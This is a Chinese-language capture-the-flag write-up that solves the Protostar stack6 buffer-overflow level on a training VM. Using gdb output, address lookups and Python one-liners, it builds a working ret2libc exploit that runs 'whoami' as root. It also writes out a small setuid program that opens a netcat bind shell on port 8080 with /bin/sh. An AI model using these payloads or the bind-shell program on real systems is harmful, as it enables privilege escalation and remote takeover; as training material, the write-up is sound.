About
Stack6 looks at what happens when you have restrictions on the return address.
This level can be done in a couple of ways, such as finding the duplicate of the payload ( objdump -s will help with this), or ret2libc , or even return orientated programming.
It is strongly suggested you experiment with multiple ways of getting your code to execute here.
This level is at /opt/protostar/bin/stack6
Source code
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xbf000000) == 0xbf000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); } int main(int argc, char **argv) { getpath(); }
果然后面的题越来越有挑战。该题总的思路是一样的:通过修改函数的RET地址来跳到需要执行代码的地方。但是这里多了个限制就是程序通过__builtin_return_address(0)先获得RET地址,如果RET以0xbf开头的话将执行_exit(1),因为buffer的地址都在0xbf******当中,因此我们无法直接将要执行的代码放在buffer中。
如何绕过这个限制呢?……方法就是找一个非以0xbf地址开头的就可以了,通过查找资料得知system(),exit()函数就是我们所需要找的东东。
第一步仍是先要找到RET在我们输入buffer后的相对地址在哪里,方法跟之前一样。。。
user@protostar:/opt/protostar/bin$ gdb -q ./stack6Reading symbols from /opt/protostar/bin/stack6...done.(gdb) disassemble getpathDump of assembler code for function getpath:0x08048484 <getpath+0>: push %ebp0x08048485 <getpath+1>: mov %esp,%ebp0x08048487 <getpath+3>: sub $0x68,%esp0x0804848a <getpath+6>: mov $0x80485d0,%eax0x0804848f <getpath+11>: mov %eax,(%esp)0x08048492 <getpath+14>: call 0x80483c0 <printf@plt>0x08048497 <getpath+19>: mov 0x8049720,%eax0x0804849c <getpath+24>: mov %eax,(%esp)0x0804849f <getpath+27>: call 0x80483b0 <fflush@plt>0x080484a4 <getpath+32>: lea -0x4c(%ebp),%eax0x080484a7 <getpath+35>: mov %eax,(%esp)0x080484aa <getpath+38>: call 0x8048380 <gets@plt>0x080484af <getpath+43>: mov 0x4(%ebp),%eax0x080484b2 <getpath+46>: mov %eax,-0xc(%ebp)0x080484b5 <getpath+49>: mov -0xc(%ebp),%eax0x080484b8 <getpath+52>: and $0xbf000000,%eax0x080484bd <getpath+57>: cmp $0xbf000000,%eax0x080484c2 <getpath+62>: jne 0x80484e4 <getpath+96>0x080484c4 <getpath+64>: mov $0x80485e4,%eax0x080484c9 <getpath+69>: mov -0xc(%ebp),%edx0x080484cc <getpath+72>: mov %edx,0x4(%esp)0x080484d0 <getpath+76>: mov %eax,(%esp)---Type <return> to continue, or q <return> to quit---0x080484d3 <getpath+79>: call 0x80483c0 <printf@plt>0x080484d8 <getpath+84>: movl $0x1,(%esp)0x080484df <getpath+91>: call 0x80483a0 <_exit@plt>0x080484e4 <getpath+96>: mov $0x80485f0,%eax0x080484e9 <getpath+101>: lea -0x4c(%ebp),%edx0x080484ec <getpath+104>: mov %edx,0x4(%esp)0x080484f0 <getpath+108>: mov %eax,(%esp)0x080484f3 <getpath+111>: call 0x80483c0 <printf@plt>0x080484f8 <getpath+116>: leave 0x080484f9 <getpath+117>: ret End of assembler dump.(gdb) b *getpath+116Breakpoint 1 at 0x80484f8: file stack6/stack6.c, line 23.(gdb) rStarting program: /opt/protostar/bin/stack6 input path please: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaagot path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaBreakpoint 1, getpath () at stack6/stack6.c:2323 stack6/stack6.c: No such file or directory. in stack6/stack6.c(gdb) x/40x $esp0xbffff740: 0x080485f0 0xbffff75c 0xb7fe1b28 0x000000010xbffff750: 0x00000000 0x00000001 0xb7fff8f8 0x61616161 0xbffff760: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffff770: 0x61616161 0x61616161 0x61616161 0x08040061 0xbffff780: 0xb7ff1040 0x080496ec 0xbffff7b8 0x08048539 0xbffff790: 0xb7fd8304 0xb7fd7ff4 0x08048520 0x08048505 0xbffff7a0: 0xb7ec6365 0xb7ff1040 0xbffff7b8 0x08048505 0xbffff7b0: 0x08048520 0x00000000 0xbffff838 0xb7eadc76 0xbffff7c0: 0x00000001 0xbffff864 0xbffff86c 0xb7fe1848 0xbffff7d0: 0xbffff820 0xffffffff 0xb7ffeff4 0x080482a1 (gdb) x/2x $ebp 0xbffff7a8: 0xbffff7b8 0x08048505 (gdb) p 0xbffff7a8+4-0xbffff75c $1 = 80 (gdb)
EIP距离开始输入的距离是80
第二步是获得system,exit函数的地址
user@protostar:/opt/protostar/bin$ gdb -q ./stack6 Reading symbols from /opt/protostar/bin/stack6...done. (gdb) b *main Breakpoint 1 at 0x80484fa: file stack6/stack6.c, line 26. (gdb) r Starting program: /opt/protostar/bin/stack6 Breakpoint 1, main (argc=1, argv=0xbffff864) at stack6/stack6.c:26 26 stack6/stack6.c: No such file or directory. in stack6/stack6.c (gdb) p system $1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system> (gdb) p exit $2 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>
现在RET的位置、system、exit都具备了。因为system的地址是0xb7开头能够绕过程序中的if语句,剩下只需要给system传递执行参数即可,这里把要执行的命令(whoami)放在环境变量里
user@protostar:/opt/protostar/bin$ export TEST="whoami" user@protostar:/opt/protostar/bin$ ~/getenvaddr TEST ./stack6 TEST will be at 0xbfffff2e user@protostar:/opt/protostar/bin$ cat /home/user/getenvaddr.c #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char *ptr; if(argc < 3) { printf("Usage: %s <environment variable> <target program name>\n", argv[0]); exit(0); } ptr = getenv(argv[1]); /* get env var location */ ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */ printf("%s will be at %p\n", argv[1], ptr); }
最后我们所需要的东西都具备了,构造执行代码应该是长这样的 <'a'*80><system><exit>< ENV_VAR_ADDRESS >
user@protostar:/opt/protostar/bin$ python -c 'print "a"*80 + "\xb0\xff\xec\xb7\xc0\x60\xec\xb7\x2e\xff\xff\xbf"' | ./stack6 input path please: got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa旆aaaaaaaaaaaa旆繾旆. root user@protostar:/opt/protostar/bin$
因此很多童鞋想是不是需要更改TEST的值即可执行任意代码了?很高兴地告诉你,答案是否定的,具体的请man system。。。
但是如果拿到一个shell呢?这里有另外一个方法:就是通过nc映射端口。
user@protostar:/opt/protostar/bin$ cat /home/user/netcat.c #include <stdlib.h> int main(int argc, char **argv, char **envp){ setuid(0); setgid(0); char *args[] = { "nc","-lp8080","-e/bin/sh",(char *)0}; execve("/bin/nc", args, envp); }
然后在环境变量中添加编辑后可执行文件
user@protostar:/opt/protostar/bin$ export RUN="///home/user/netcat" user@protostar:/opt/protostar/bin$ ~/getenvaddr RUN ./stack6 RUN will be at 0xbfffffbc
同理,执行后程序处理监听状态。。。
user@protostar:/opt/protostar/bin$ python -c 'print "a"*80 + "\xb0\xff\xec\xb7\xc0\x60\xec\xb7\xbc\xff\xff\xbf"' | ./stack6 input path please: got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa旆aaaaaaaaaaaa旆繾旆 <Listening>
在另外一台机器连接,测试成功。。。